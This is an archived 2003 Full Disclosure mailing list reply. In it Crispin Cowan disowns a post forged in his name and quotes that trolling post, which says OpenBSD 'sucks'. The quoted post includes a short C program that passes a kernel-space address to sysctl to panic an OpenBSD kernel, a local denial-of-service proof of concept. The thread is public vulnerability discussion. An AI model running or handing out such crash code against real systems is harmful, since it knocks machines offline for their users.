Full Disclosure mailing list archives
Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0
From: Crispin Cowan <crispin () immunix com>
Date: Wed, 19 Nov 2003 22:13:15 -0800
This post is entirely bogus: I did not write it. Note the creative distortions in the cribbed .sig. If headers are to be believed, the troll posted from 210.0.137.29 which traceroutes into a black hole ... likely an 0wned machine anyway. Crispin Some troll wrote wrote:
ppl think "hey, local DoS sucks", therefore they are.
i think "hey, obsd sucks", therefore i am.
#include <stdio.h>
#include <sys/param.h>
#include <sys/sysctl.h>
int main ()
{
unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;
return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));
}
it's wide, it's opened, it's surely obsd!
--
Crispin Coward, Ph.D. http://immunix.com/~crispin/
Chief Scientist, Immunix http://immunix.com
http://www.immunix.com/tosell/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
-- Crispin Cowan, Ph.D. http://immunix.com/~crispin/ Chief Scientist, Immunix http://immunix.com http://www.immunix.com/shop/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 crispin (Nov 19)
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 Chris Ruvolo (Nov 20)
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 noir (Nov 20)
- <Possible follow-ups>
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 Crispin Cowan (Nov 19)
- Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0 Crispin Cowan (Nov 20)
